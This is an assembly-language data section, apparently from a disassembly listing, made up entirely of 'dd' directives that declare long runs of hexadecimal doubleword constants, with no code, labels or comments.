		dd 10C0AB4Ah, 0B10FBCh,	0C13290BAh, 50F0E9EBh, 8BF5CD0Ah
		dd 2C0F9C0Bh, 62E00D9h,	9A8F78Ch, 0D73FB730h, 0F55AC800h
		dd 0F9009E76h, 6C3AF367h, 5A2A529Ch, 0DAE80Bh, 0A5733331h
		dd 126728D3h, 1FE2E43h,	45ADC3C6h, 0F67CF010h, 649F3600h
		dd 0B98D6949h, 0A8871D06h, 0DA08CE94h, 0FB471802h, 0A6130C58h
		dd 5F026CDCh, 40BE7229h, 0BD5A60h, 54A78C7Ch, 0EAE8874Ch
		dd 0B2030C98h, 74A483D2h, 2DC80A12h, 3941A0Eh, 0EC5773DDh
		dd 43D415D8h, 0D374ED00h, 5F5B9D85h, 14665CA4h,	0A87A79h
		dd 132D19F4h, 0AEF2778Ah, 0D28C1F03h, 0E98B61h,	89C8F669h
		dd 55750B39h, 847DA001h, 211CFDF4h, 0F9BDE0h, 0A81C5B5h
		dd 865C3647h, 347E9000h, 9416CE3Fh, 5FD200CAh, 5EACBC3Ch
		dd 562676ADh, 54802CBAh, 0D70A0DD1h, 5A8100FFh,	605CB5Bh
		dd 0DC0049BBh, 0ACBEE7E6h, 0F83A278Bh, 25650090h, 60CFB22Eh
		dd 2B1C5666h, 5FC053C2h, 0D9E2334Fh, 0FC405043h, 7FDB23C0h
		dd 18508889h, 0E26F1D8h, 0E1ADE52h, 107FCAE0h, 2100788Ch
		dd 0DC41803Dh, 0F3E6DB0h, 0D1BB8EE3h, 871A1441h, 0DAD4C04Dh
		dd 0F9347200h, 0B7FB25BEh, 3D3A0047h, 0CCB26CF5h, 0F201FDADh
		dd 28407504h, 0BC6121C0h, 0FA779BECh, 0B973E5h,	0F6B8823h
		dd 0DBBE1966h, 0AF959200h, 902DB00Eh, 61F0002Bh, 3A2C6304h
		dd 0F00F666h, 78DB930Bh, 0EE208374h, 81EB0014h,	84AF8EDh
		dd 30C06F80h, 0CE430903h, 156400B9h, 0ED5DE9F3h, 47003D7Ch
		dd 240C684Eh, 19DC825h,	1CB9D45Ch, 0D0E5BEBDh, 0F0020ECDh
		dd 284BA3AEh, 0EEC4E029h, 0F34E00DCh, 0BAF77098h, 0D3006D01h
		dd 0A3856124h, 3809E97Ah, 9D81FC6Ah, 39B04249h,	0C0612189h
		dd 900079FFh, 3351C7C1h, 7D948D5Eh, 0C0383CCBh,	0FF2D6800h
		dd 4A98A5FCh, 50377F07h, 249054A8h, 3EFE341Bh, 0FD0097F0h
		dd 0D4DFFAD2h, 0AE0019B8h, 0C106A543h, 10A1181h, 0BC44AFD0h
		dd 0D099E3A4h, 5300CCDBh, 154391Bh, 826AEEh, 46E85891h
		dd 0F72C6442h, 4F47A426h, 0C4789301h, 1C315BE5h, 0F8562530h
		dd 0BDE13BA9h, 260E75ACh, 6FAD0FF0h, 0DFC2620h,	7C008C7Fh
		dd 5F9BCA46h, 305B51ACh, 80DE9093h, 0E00EB9Ch, 3EE36A3h
		dd 5A04A1h, 0E457C5E0h,	0ED141CF8h, 9C00AF7Ah, 0BF83976Dh
		dd 4711280h, 8B9505Dh, 0E08CA0FDh, 33F86A00h, 39437BA3h
		dd 3134007Ch, 52D8EAE2h, 0CF01B705h, 3770F438h,	0EA8022DEh
		dd 557A3BF5h, 0D9003E13h, 2067FE64h, 8995C5h, 75FE558h
		dd 76CFB43Bh, 70CE6126h, 7A8EAC02h, 772060C5h, 8CD700C0h
		dd 4A9E0255h, 7C005464h, 5B2AB7DBh, 0B8F692h, 5CD8A03Ch
		dd 10120381h, 9900FF74h, 0C46AF354h, 0BFE77Eh, 764ECA8h
		dd 146CA29Ah, 0E401D2EAh, 3E5982C1h, 0C0EE8689h, 1EEA3C4h
		dd 0A11210D4h, 0F3A7643Bh, 6B0CFA3h, 0D00924F3h, 80CAAA2Ch
		dd 2FF7FBA8h, 0D30201AEh, 970E626Eh, 2916CC0Ch,	7503B5F0h
		dd 79D7F478h, 0FC8A1EF9h, 2AA6B981h, 8B20258h, 0FE4037D3h
		dd 8501E513h, 91B6FB80h, 0E080DC1Dh, 54826A5h, 69603170h
		dd 476D0760h, 59963A9Dh, 6056BD00h, 8B29E8F0h, 0C46A5Dh
		dd 73461F0Dh, 4A7CE5h, 0F0252BFDh, 0F7819496h, 0C12CFCB8h
		dd 88037C1Dh, 0C0D5B0EBh, 91E0DCh, 494BDA43h, 0AAB485Ah
		dd 42EE0F00h, 0D153F889h
		dd 0C9110FF7h, 5BF282Fh, 0C0331C91h, 0AC2B8CA0h, 2A56C200h
		dd 5A626B30h, 634D0045h, 7C1951AEh, 8EE259D6h, 0ACDD3A3Fh
		dd 813B75EAh, 7317CE1Dh, 0CAD4A577h, 710E7F14h,	0B6663A3Bh
		dd 0A69E3800h, 39B27E26h, 22543D01h, 4FA7728Ah,	0F09125DCh
		dd 0F0B81CCEh, 8F650089h, 2B1053D5h, 80AFDC39h,	20ED74C4h
		dd 399304Ch, 6D88CECh, 201EF708h, 3F005444h, 1A1F2B2Eh
		dd 0A2590067h, 10B70C39h, 3C900AF9h, 6C8F4C07h,	0ACA071AFh
		dd 2C0C4D34h, 35D0901h,	8FA9B507h, 85355100h, 2C5DA705h
		dd 941903A4h, 8FFD5F3Bh, 3ECC5A90h, 0C34D0700h,	0BB895805h
		dd 0A61C00AEh, 0DDE24152h, 40732085h, 5079E700h, 389F430Ch
		dd 0AB21007Bh, 5FEAC336h, 9D00B99Ah, 859049EFh,	3AE12029h
		dd 0D697D875h, 988900DBh, 38D4729Ch, 0E730D001h, 21EF1A51h
		dd 0EA4E03E7h, 0B51F936Eh, 8E9B123Dh, 60F9E4BDh, 3826BCDDh
		dd 16E7F639h, 0AB7B1D1Ah, 11F8D100h, 0D4164Dh, 24B635CEh
		dd 0F5D0DC6Ah, 0FBBA9C00h, 0C32699A2h, 848E0765h, 0B0C6C2B1h
		dd 368FD2Fh, 5B32301Eh,	6F7F3780h, 31EB9DDh, 4086216Eh
		dd 71C893EAh, 3B00B4CEh, 0A2018CD0h, 0E7113Ah, 4A8D5214h
		dd 6A999DB6h, 798AAF03h, 0B3F3A2C7h, 0D8729832h, 25B901D2h
		dd 0D3376AEFh, 620CE0FBh, 0D14D7A1Ch, 0E30F0400h, 0B886E5B2h
		dd 0F2BC0099h, 0EDF8EECDh, 1D005113h, 0FB3FD6E2h, 2CB4A217h
		dd 80A4C280h, 0F20A3BC7h, 0F600206Fh, 57A448CAh, 3D96B0DBh
		dd 75838EE5h, 0E0BD6724h, 4C9B43C8h, 0A1654800h, 0C2463A8Ch
		dd 827938A4h, 0F3668680h, 72CDCCBh, 8049A73Ch, 0A1B5C062h
		dd 7602D16Eh, 5F4101C1h, 0FBC3E5B0h, 57E0F838h,	462A7407h
		dd 0C270234Bh, 0A615D3h, 6BB4BA2Eh, 0F5C19332h,	0C07DF426h
		dd 0D388A300h, 26A918BBh, 809C306Dh, 225F209Ch,	0AF0C27D8h
		dd 1808EFD5h, 0DE7A0FA2h, 76A2CE7Eh, 3460FBD4h,	90073C55h
		dd 8013D89h, 16204EF1h,	0F64DF470h, 34CF00E7h, 0BDBC9B94h
		dd 140048F3h, 6613412Dh, 8A0BC7h, 67798DD4h, 58387C7Ah
		dd 5C740518h, 0DEEF40h,	0AF8DF7C0h, 0DCE1C9D6h,	0CA956100h
		dd 0E086B06Bh, 3005E2F5h, 84305F1Dh, 0ABE8D341h, 13618D00h
		dd 80F3947h, 0BEA9002Bh, 5F30B4A3h, 0F9C0321Ah,	0AED4CA06h
		dd 0F2E300E6h, 950414FEh, 0E43CB161h, 0C83680CFh, 208D4532h
		dd 0DD9B0082h, 3839D6D5h, 0B20E2C48h, 8FB93F63h, 56D00036h
		dd 3C8C4D8Ah, 62307DEFh, 988815A9h, 6A365400h, 0D4FF0434h
		dd 5C3BB033h, 0C803858h, 2D6CAB1Bh, 1017820Eh, 206AE032h
		dd 8A280Dh, 0FED3EC86h,	0DB5AF599h, 1B023F7Fh, 2AB4BE03h
		dd 0F4ECC8C3h, 407D00A2h, 0BD0E0EFh, 840B6C28h,	5F9977Eh
		dd 37802738h, 0C0B84877h, 22C2B5A6h, 0F700445Ch, 0C1E1E306h
		dd 38471F13h, 493E4DCh,	0C4F800EBh, 2D2C2497h, 0E8E58A07h
		dd 5F91947Ah, 856106C6h, 108A542Ch, 0F56D03ECh,	0DDB8B84Bh
		dd 601DF44h, 67903F1Ch,	1660F44Eh, 0E43200BDh, 9735FF5Bh
		dd 270AFD53h, 0E0919FCEh, 2FCBA800h, 0FE5D23h, 83200DC7h
		dd 0C19D4D1h, 9ADF9300h, 0E299C987h, 3510CC08h,	163D0D08h
		dd 0CDB20005h, 335D9F31h, 0A0630F82h, 1A602E8Eh, 0EE4A1226h
		dd 0D285ED00h, 8B5F2A9Bh, 4CFF1E3Ah, 0D8ADC928h, 79000D0Eh
		dd 0EAC13CD9h, 0EE52BA00h, 82ED48C2h, 0FC800147h, 55F0FF65h
		dd 0D40DF478h, 66442D00h, 357386AEh, 8FAF00C1h,	9A9E62BBh
		dd 2D02F302h, 39778A05h, 0F8808031h, 0FF6FCh, 0B995F10Dh
		dd 40C30E16h, 73D88E00h, 56B06C38h, 0DCA30057h,	34216DEFh
		dd 82003076h, 61BD43D3h, 2C0F337Fh, 3EB59658h, 8C084C01h
		dd 0F00B9EB3h, 8427F6BFh, 0DFA00073h, 72396Bh, 0A558EEF8h
		dd 4BF1099Ch, 0D77E7304h, 98E0CA84h, 9FA30017h,	6B49B1A2h
		dd 56005DEDh, 0D66C21B2h, 73BAABh, 45769F22h, 0F3613D44h
		dd 0C27DB0C0h, 19085E1h, 0B3CD2443h, 0CC343F8Bh, 0EE1DC6A2h
		dd 55C04D50h, 0A5063817h, 9F727Dh, 0AABAFA65h, 2C62D940h
		dd 7571DF00h, 0ED31CE8Ch, 60DD5CEFh, 0A2F80F01h, 8EE21C40h
		dd 0C0AFE110h, 0E90A5D52h, 6D270017h, 0EAC4E6CAh, 8D186944h
		dd 577803F2h, 0C05D028Fh, 0E0BFB2B4h, 60841448h, 87D9253Ah
		dd 0E72A8A5Ch, 0E4EDAAD0h, 0A0DFFD7Dh, 0B4A5EC77h, 81C10004h
		dd 84006C8h, 3B64DE48h,	94460064h, 0D0BFC6C3h, 0C5230021h
		dd 5FBE373Bh, 1F60CD4Fh, 0CB116468h, 56AD006Eh,	0C787B565h
		dd 9807492Bh, 37B70E08h, 0B46169E0h, 1C210062h,	0CBDE6D8Ch
		dd 0F3008215h, 814B9D7h, 0ECF60EDDh, 0B86C00A2h, 0C14632E6h
		dd 2700F099h, 1D7AD3A9h, 576714h, 1A771365h, 4E94EF16h
		dd 0E2754802h, 60D1A7F8h, 0F214D0h, 145293Ah, 66F4E8E4h
		dd 5722BE00h, 0DFEDEB39h, 31E18ACh, 0ABE4624Ch,	770F300Bh
		dd 0CC184067h, 0F2411DFAh, 9D1FC099h, 0B1BC30A8h, 25E08501h
		dd 7DA1A233h, 72F6D4h, 12974BF0h, 0FE996F49h, 57BF1500h
		dd 0F057380h, 0A5BB2E72h, 0C6DC0019h, 445A438Dh, 28E3D8A0h
		dd 0AF8C6F00h, 0EF3703A9h, 32EEEAh, 0C7DB7F5Ah,	9AF7F2B4h
		dd 2265C100h, 1606B231h, 0ED10000Ch, 0E8A6D9FDh, 7F00FF40h
		dd 23A34E4Bh, 0DBE108h,	0C17C1067h, 0AE35A4F7h,	5DB98700h
		dd 8A141A2Ah, 0E4BA77DAh, 0FF480040h, 53E8914Bh, 5509EFC8h
		dd 831D08ADh, 98DE6F9Ch, 2494650Ch, 748CEEh, 40C2E64Fh
		dd 6900EAA2h, 0BE9B07A0h, 3FF035h, 68275102h, 0BA4FB62Bh
		dd 8B49E00Eh, 9D0C20CEh, 2FA56Ah, 796B7784h, 6D21331Dh
		dd 76835500h, 0D32B16CBh, 2F380F8Ch, 0CD21A05Dh, 208A67D8h
		dd 0DB008D85h, 8639B808h, 0C737B6h, 7E564357h, 6ECF627Fh
		dd 8C8739h, 6142FC8Eh, 0DA32D2h, 557BB08Dh, 869FB846h
		dd 36B38000h, 7C40C4CEh, 143B0504h, 0E257CD20h,	0BE43C38h
		dd 8066D56Dh, 0F0B199FEh, 7E280059h, 0ADC6C9DBh, 0C02F413h
		dd 5CD71A37h, 44CC402h,	0B3864AACh, 7C40C009h, 0A72D9B2Eh
		dd 395C80BCh, 20E9D189h, 4C019093h, 32490895h, 3F20177Ah
		dd 0EE0E0780h, 60817F5Eh, 0F588E8B9h, 96F2ED03h, 0F80F7333h
		dd 12B3BFD8h, 4953B817h, 0B0201C20h, 4D30EBF7h,	0E46BC124h
		dd 2168E180h, 579486h, 0D931C06Dh, 608CDC3Bh, 808ACF3Ah
		dd 5465035Ch, 75FCF51Ah, 36D21D2Fh, 0AD9ECCh, 916A513Fh
		dd 0FEFE2008h, 253EEE00h, 0E86B53C9h, 0D7C0007Fh, 4A523518h
		dd 0EE008CD9h, 9D5E08B8h, 482D5Ah, 0A81FB99Bh, 5FC7B5F5h
		dd 0ACBFF301h, 8151600Ah, 0E4E4A3C9h, 0D8C8071Ah, 0F0E052B6h
		dd 2DF1AD25h, 5CC0E94Ah, 0BF53D6h, 0B99C68EBh, 78A43252h
		dd 5127200h, 0A1D6510Ah, 0CF5B0192h, 2B6911ECh,	7F90D3DCh
		dd 0AB018E9Dh, 97AC14C2h, 28D8ED18h, 0FF440060h, 0B33033C0h
		dd 8FF21F2Dh, 66A25502h, 0D2C64CEDh, 0AEB20094h, 8498E097h
		dd 0D5BE411h, 0D954CC00h, 0B03064C5h, 631C1DFCh, 65F90169h
		dd 70BC1E49h, 0C200CADDh, 8108F273h, 0C0AC7Ch, 955383EAh
		dd 178FB991h, 3BB4BB0Ah, 0BC008B98h, 2B25E7B8h,	0F2160039h
		dd 0C5225B47h, 0B713ABE6h, 2C80537Fh, 2AF4D17h,	67D7C79Eh
		dd 48407305h, 0F4015FB4h, 56B198FAh, 50D02D4Bh,	297D001Dh
		dd 9CBAC8B9h, 0B372DB4Dh, 0BB00D5FAh, 634A4C18h, 440CECBh
		dd 79C5127Eh, 0FC18C064h, 1C72DB39h, 910737E0h,	311DC067h
		dd 0C6B2805Bh, 3BA1105Fh
		dd 518E896Fh, 90A7C999h, 0DDA4C040h, 3707C73Ah,	452B6A48h
		dd 9917Ch, 0B740A6F5h, 0D38CD0FCh, 12F33F00h, 7F0ED477h
		dd 0BCDA0090h, 0EA02322Ch, 68924BA1h, 0BD2AAC02h, 54BB571Bh
		dd 88B41E88h, 81005FE8h, 0EF2C7D55h, 0D8250733h, 0C0C58892h
		dd 0CA4E58E1h, 2BB1AD06h, 31EE5Fh, 2AB99417h, 0BD252837h
		dd 76298700h, 634FEEDDh, 91D9002Bh, 7567418Eh, 50040A4h
		dd 0C1AE46D3h, 98506AEDh, 274225FAh, 8FB81060h,	0AE457A00h
		dd 0CA8856B7h, 9B570015h, 86BC859Eh, 4D126537h,	0B4007B2Ah
		dd 4011FC46h, 3FC600E8h, 6333875Ch, 4100812Eh, 2070E97Ah
		dd 746753Bh, 49EF9D1h, 4E1D00BDh, 1A000D18h, 308A5591h
		dd 0F9ABE552h, 498C402Bh, 0AE98868Eh, 0A50FB277h, 617258C6h
		dd 0CFC84284h, 0FD5AADCh, 0F5DCB938h, 0FBBF1940h, 5E00D893h
		dd 94E87FCh, 4A54ADDh, 6EF5B134h, 1DCAC36h, 2F18B9E7h
		dd 0D0619A7Ah, 808DE002h, 75828AB0h, 0DE6B00A3h, 0AC60381Eh
		dd 7D023B9Ch, 9F171A31h, 47EDE0E5h, 0EC13007Eh,	338669BDh
		dd 0C4A051A0h, 39079D53h, 2F5CCBD2h, 6C527A70h,	58E003BEh
		dd 0C8E6834Dh, 0F5449B98h, 50AF5650h, 0AA140095h, 64DF3ECh
		dd 92424958h, 3C0F1957h, 0C09BBFF1h, 7024F22Bh,	0E805502Ah
		dd 82113CD7h, 0F76B3D00h, 0CB19EF1Ch, 3807D435h, 285AFA04h
		dd 2D0150B8h, 70D6ED04h, 47FAD06Dh, 22A3AC00h, 1259DFE2h
		dd 718E0E6Eh, 0E5A011FEh, 7294F2D5h, 92BCB354h,	23879D0Eh
		dd 1C001264h, 4FFBAAA1h, 54E150B7h, 0B0861DD8h,	4D00FA05h
		dd 3BA09EBCh, 0B028467h, 355CF738h, 0C348812Ah,	447469C9h
		dd 3C6C4973h, 0B048221Fh, 6050FEEh, 0F41A2B27h,	4025097Bh
		dd 0F4488080h, 0B10067B0h, 78E17F84h, 22C381h, 5C6941E3h
		dd 3A2E3264h, 692ED00h,	29CB4D56h, 2D8800C4h, 0CE4B2C46h
		dd 8107A77Bh, 58D76947h, 904F38BCh, 98153CCAh, 6533FF00h
		dd 295FCA06h, 837DDA38h, 0D1814EF9h, 0E1881C24h, 4155C5CEh
		dd 5ECAC14Fh, 0EB26D883h, 8100B87Ah, 290DEDC9h,	0CD2B95h
		dd 90355BF3h, 26D6B03Dh, 394C4600h, 2BBC5D88h, 0C9530797h
		dd 900B9117h, 732CB725h, 44CFDB00h, 9AB98AD7h, 0B1A10148h
		dd 98A4C3D0h, 0FB2D20C7h, 0F5B64603h, 93F03E62h, 83C801DBh
		dd 8C4A7368h, 11528B41h, 600E8F5Ah, 87D0E56Ah, 0E8FC0049h
		dd 72375831h, 0B0FBB31Ch, 87FDFC38h, 4951006Dh,	749D35E0h
		dd 7A1E908Ah, 79804F48h, 0BF771D55h, 9E83035Fh,	6AA3F2AAh
		dd 761295F8h, 36665101h, 0B193335Dh, 1E65007Bh,	5C7B3F3Ch
		dd 0BC1A1C1Fh, 6421B400h, 0E83E9C4Ah, 7CF40084h, 67ED1FFFh
		dd 0B024240Eh, 301235Ah, 4CD4700Ah, 0B179CCh, 0E16E6FF4h
		dd 3446736Dh, 4A8438h, 10097E08h, 0A0CA55D2h, 7E0781C9h
		dd 87905Dh, 80B3005h, 20F05114h, 0B026FF02h, 43D1745Ch
		dd 49580C49h, 0A6081ECh, 0D3956F0Fh, 0BA7F40C9h, 0A2D2C8h
		dd 61D87C58h, 4B679077h, 0CFD11428h, 0A3C02609h, 0C630056h
		dd 77E6370Fh, 0DDA900B5h, 0D5F81ED9h, 77064868h, 5A3E9E2Dh
		dd 0B4A71E71h, 0ED6040CDh, 2AC12E66h, 0C400ADFEh, 0E57F3320h
		dd 72BF9Fh, 3EDDF74h, 0CD05D692h, 0DA11BB00h, 0A9964DA4h
		dd 7AFF902Fh, 7507D1Ch,	0FAE10E6h, 0B4FA90CEh, 711B37B3h
		dd 88201AF8h, 3193993h,	2FE8D152h, 3DC03FB1h, 3200CCC0h
		dd 0D8A3047Eh, 804884h,	0C6291F1Dh, 72F45C61h, 2D2C4300h
		dd 872EF930h, 0D94B0909h, 3300AF47h, 0FA32BF9Dh, 1116A301h
		dd 9B6671B0h, 0E9A3B70h, 9F18AB7Ch, 195A9680h, 802C4611h
		dd 21007C68h, 3012E66Dh, 0DA233F31h, 4DB29482h,	0D761B071h
		dd 0F064E45Bh, 0D7333000h, 0B577D0F5h, 10F7078h, 0F49084F3h
		dd 811C03E4h, 0A9955058h, 884D9105h, 8402CF4h, 0FDC51AF3h
		dd 746A50h, 1FD25DC3h, 4992DA7Ah, 0B500B8E2h, 0AA1011FDh
		dd 1ED8E404h, 40762F20h, 0DE894629h, 18C405DBh,	374F4240h
		dd 6A0027EFh, 8C2AB3F3h, 729CA800h, 0B01BA30Eh,	0DD1D17E7h
		dd 69BC00A7h, 0D8AFDED2h, 7F72F00h, 0AED706B3h,	193C0373h
		dd 0F9A434Dh, 3A1A39A0h, 8C69601h, 59685E01h, 0C10ECCh
		dd 10FC47E0h, 110D4BE7h, 5FB87900h, 4F0BCD37h, 853F0027h
		dd 0C7701CA8h, 9D5882ACh, 72070450h, 9881F98Dh,	0B06ED866h
		dd 3905B533h, 0C1954126h, 2E538B80h, 1A1003A0h,	5AFBE87Ah
		dd 5BD16CB0h, 0CE23C100h, 72C2953Ah, 0CC50150h,	338C5997h
		dd 5D55C879h, 410F2C00h, 28583CF3h, 85982D0Eh, 3E9AD505h
		dd 0D7D50A04h, 4231C60h, 0D8BBE057h, 89E03FD4h,	18C384FCh
		dd 0D831Ah, 0EABCF320h,	68ACCA64h, 0C9351C00h, 9C6AA782h
		dd 0F80200F5h, 8476EC22h, 28011367h, 0A6CD4BD9h, 0FC4034DEh
		dd 0A005BFh, 58FED489h,	0DBF65D20h, 83FC8F00h, 474A0224h
		dd 0DD70E82h, 64278DFEh, 7A2707BBh, 67C45820h, 0F8E2321h
		dd 0A6A01EA7h, 3654F6FFh, 0FB7C9E03h, 0A8F416h,	832F0FC0h
		dd 3DB3ECCFh, 89CDAD02h, 0A2D89772h, 482C5F80h,	98C350h
		dd 4C866D96h, 403F76CAh, 0E7CA748h, 0E0E11406h,	0B7283A24h
		dd 0EBDD00F7h, 0BE41BA96h, 4D007B2Fh, 0AB2247B4h, 0A8DF3CAh
		dd 8C6B59A4h, 42A00CB0h, 0F000BE49h, 442C627Fh,	0FECDA4h
		dd 4B30F6F3h, 18B6BAEh,	8B4A649h, 0AA351Ah, 8E4A590Bh
		dd 9900A5A8h, 0F054BEB2h, 0CF1D577h, 0BD74E5CFh, 4067C49h
		dd 88A003B5h, 6B4E0071h, 0DD0294FCh, 0E1030C23h, 0F7A2CCA8h
		dd 74200088h, 1559A07Ah, 0A5B8544Fh, 2405527Eh,	0E03B5CC2h
		dd 33E2EC00h, 0CB3217AEh, 8A004591h, 1E13E826h,	0C70CB01h
		dd 0C2F6074Dh, 0F4ABF180h, 7FF23F8Dh, 7ECBB306h, 0F70B476h
		dd 0ADC8E93Ch, 0BA51C1E0h, 9000AEF1h, 14B93FCAh, 1364A7h
		dd 8096ED26h, 7CADF0C0h, 0E07D1214h, 9D1116D0h,	46A42E03h
		dd 62680065h, 0A5CEFA92h, 5D1E9F33h, 45408550h,	0C7966061h
		dd 74E40A72h, 209768EEh, 0D48845B0h, 3A004FBDh,	7D63EF4Bh
		dd 0F47A19EEh, 41390603h, 0A8CBB834h, 0D0797400h, 8872F6F5h
		dd 9283280Ch, 91B088EEh, 7E6B0090h, 9B10AA25h, 0CE18C17Fh
		dd 52154A9h, 26F0E138h,	0B89248AEh, 211EA086h, 441FA2F2h
		dd 30C322EDh, 803A0A37h, 0F2AFF09Fh, 0E13415F8h, 0BA00BC3Fh
		dd 0ED80DB1Eh, 770AD182h, 84D806CDh, 20943C89h,	384D6CDCh
		dd 5C283E31h, 0DEB40073h, 0CD6E96D9h, 79C226ACh, 4BFD1AADh
		dd 0DF29090h, 220705C2h, 80A6963Fh, 7B70DC3Bh, 0D63EC000h
		dd 0E934829Fh, 8F30C0B5h, 90CA11A0h, 68692300h,	0AA6358ACh
		dd 44C10066h, 0F2930678h, 51E5C53h, 0F0C56BA9h,	0A840D03Ch
		dd 453EEEB7h, 91CC0FDCh, 7F601D06h, 3098E7DEh, 341359h
		dd 2F1C071Eh, 0E084E221h, 0B6F8BF70h, 6BC78200h, 0B83E1628h
		dd 0A7F5029Eh, 47F6ED78h, 96769C98h, 91F48A54h,	8830C900h
		dd 2140A158h, 26DE000Fh, 5441CCBDh, 0B178DDA3h,	50BCAC09h
		dd 5904A08Ch, 0C596CDh,	0FBAFF614h, 16C018D6h, 1C940A00h
		dd 644FD56Fh, 1FAEF074h, 80ED25FFh, 0ADFED7EFh,	0A6004BBDh
		dd 9E5010Fh, 1806C04Ah,	91964326h, 9A009E4Eh, 0C1B3470h
		dd 44E529h, 6D30E168h, 3A37A771h, 12829E39h, 0A8498313h
		dd 5CEC037Fh, 0A6A1002Bh, 8A7087A4h, 9F0123FBh,	91FD5D61h
		dd 4220A334h, 7365266Ah, 8CDC029Ch, 0F884F3CBh,	0A27B43A7h
		dd 46A0CF37h, 9082C202h
		dd 2A180E86h, 5DC0D325h, 0C658F0B3h, 162A39E6h,	0B479FC99h
		dd 0B778FB48h, 56D2BE30h, 5F3D006Eh, 0A66D9EA7h, 2A60C595h
		dd 0E149AEB1h, 24E61Fh,	3643C081h, 86AF8E16h, 11E34D01h
		dd 1DFD60B6h, 4C7CA44Ch, 4880CCAEh, 260B6D17h, 4BFCE012h
		dd 0AC272C64h, 0FB026233h, 0DB91C809h, 50DA0004h, 0CDA06E14h
		dd 0F60A03BCh, 8C77CC4Ch, 228F1808h, 9E6D0020h,	0C1E30CD1h
		dd 8A0FAF54h, 0A0210529h, 0A6601DDBh, 0FF84AA9Dh, 6BD953C0h
		dd 0AB16B207h, 0C880C9C3h, 9F96F0h, 74DC9E79h, 8FBE0E22h
		dd 5C90A924h, 2DCEB807h, 0D8976474h, 33D793Ch, 8E2401EDh
		dd 18F84586h, 0D3094B61h, 21516276h, 407D6800h,	308007E1h
		dd 0B87110B6h, 270058A1h, 0A21ACFAEh, 9D7EDFCh,	7A5F62F7h
		dd 3F4A34A0h, 0F4004407h, 9846B1Ch, 691DC0h, 91BCDE06h
		dd 50D55E01h, 8057F639h, 89AECE76h, 64815AAh, 728A9280h
		dd 105A999h, 0E6C49B52h, 0C9AAA90Ch, 11941395h,	77B70066h
		dd 6703E104h, 12C5913Ah, 68337018h, 28D29534h, 0C562C167h
		dd 0B8317DC5h, 3540C8h,	2706369Eh, 527A9A12h, 7C0D9702h
		dd 408FFD76h, 56C794Eh,	804468B7h, 0CC40C0D6h, 62608D06h
		dd 0A697AD88h, 0D20D0147h, 729279FFh, 766423B0h, 8E738315h
		dd 163400A8h, 0E1EEA4FDh, 0B9B524ECh, 95E267B4h, 0C57C81D8h
		dd 0A41980B8h, 96890C7Dh, 0CC67F39h, 0F1E34795h, 0C925FD1h
		dd 0FB039A00h, 0E8CDF032h, 1E2A1F08h, 319DE56h,	0BDCAF84Fh
		dd 0A9CB5809h, 3CC4A22Bh, 29B0A08Dh, 0BCD49Ah, 8B3193ACh
		dd 0BE1DFEE7h, 203083Dh, 0A5F6F169h, 86F86835h,	0A87D79h
		dd 6FA06AEAh, 0D3CB82FDh, 0B1B9A515h, 0EAD1007Ch, 0AAB52050h
		dd 0D2A10AE1h, 43F0AB61h, 51003FA4h, 0CA38ED0Ah, 5CE2D9h
		dd 4F0CBF3Dh, 97C8AEEFh, 0F9A2DB14h, 86600B60h,	0AD2486BCh
		dd 301900F8h, 0D27CF496h, 1B00142Ch, 2582A387h,	31FC126Ch
		dd 48C1E873h, 54C8FA3Ch, 71125855h, 805C8DCh, 0C4C472ACh
		dd 2E4E34A0h, 9414F0B6h, 5003341Ah, 63B7FC21h, 1FB366E0h
		dd 0A95E9A01h, 6C2DE088h, 3E175872h, 527020A3h,	6A00148Fh
		dd 83EB992Ah, 4FE65D4h,	0B5DA84E4h, 0A030D0E0h,	30C08B74h
		dd 6A6162Fh, 0C518000Fh, 3B3EDBB3h, 8B02F520h, 0EAC07A11h
		dd 0FC684822h, 0A1F083A8h, 0AA005896h, 0A4550E28h, 2E8FA9E3h
		dd 1EEC3493h, 68F39892h, 5A31AAABh, 335F39EAh, 50378183h
		dd 0FAD88301h, 0F40B4E24h, 80270CA3h, 0F3CEF2E5h, 0EAFC2EAAh
		dd 48BA8120h, 4C5CFEF4h, 30F737F4h, 0C9C17530h,	55B71BA3h
		dd 0CE4C6h, 4CBCEB96h, 0D50E3F53h, 6D0F0900h, 0D7D9D04h
		dd 6FDB153Bh, 2072707Bh, 9A1F7A4Bh, 49B1C14Eh, 49D6BDA4h
		dd 0F0237C8Ch, 38FCA807h, 4DC23510h, 50D4CDD8h,	86FDAA74h
		dd 0C006C1D2h, 17D9F54Ch, 30A81A27h, 0AF578170h, 31B1D604h
		dd 24C7C344h, 0CDA49869h, 0B47317CCh, 1D644EA5h, 6557E0C2h
		dd 26F900DFh, 0B8F2765Ah, 7471C048h, 422841D9h,	1FA5CF4Ch
		dd 4457E5B7h, 0A4406C5Dh, 95D3391Eh, 92A27736h,	0B4022CC8h
		dd 0EC826934h, 9C5A01CEh, 0CD708000h, 0FD72EBB0h, 0E94A6038h
		dd 5310EE8Dh, 91EFA400h, 55CC4F58h, 0CA250023h,	0E6A6794h
		dd 147805B9h, 3CFED409h, 97420F2h, 3DBD1E26h, 2EF096B0h
		dd 8464F9h, 821BED41h, 6115E7A3h, 384ACA7h, 9694EB56h
		dd 179009Bh, 0F0BCAD60h, 4400112Ch, 0D46D7520h,	96210B7h
		dd 8E57F145h, 10D074B1h, 92100BCBh, 3BAA151Ch, 0CD14C8F1h
		dd 58267805h, 0E08CA460h, 8332C0D0h, 33BF271Ch,	0B2F95102h
		dd 188645Ch, 0A6A10555h, 0CC13477Ah, 7F9869BAh,	2CAA7800h
		dd 7942F187h, 12F0A515h, 3C98224Ah, 0F78DF4A0h,	7DE4C1D2h
		dd 0DA5DA101h, 41B76D93h, 3F94C4h, 0EFD33B16h, 96E4601Eh
		dd 97585A48h, 782F7420h, 0F486E4C4h, 0ACD4268Ch, 814B4484h
		dd 362E8998h, 9DA409D4h, 18C86828h, 0FB900FBh, 40A3DD48h
		dd 0DB3CAC8Fh, 0C3E804D0h, 0CABC7BCDh, 224CA717h, 6033DCh
		dd 1A003B03h, 0AA3F0822h, 0E40570DEh, 0C93724CCh, 205216B4h
		dd 0E47B3040h, 66A0D054h, 9088CACh, 0E07CC7h, 1CA25A02h
		dd 291FD411h, 540E7EBh,	0E3A92EECh, 127C92D3h, 2282C0CDh
		dd 0C21206C0h, 0E6B052B4h, 20A44B44h, 9A5EF490h, 39FFEA80h
		dd 0F3A4101Dh, 838B47D0h, 0C0160C41h, 0C41F812Ch, 4430B793h
		dd 1DE2002h, 0A6C87C0Ah, 62E34B83h, 0CFCB12A8h,	4CC3424h
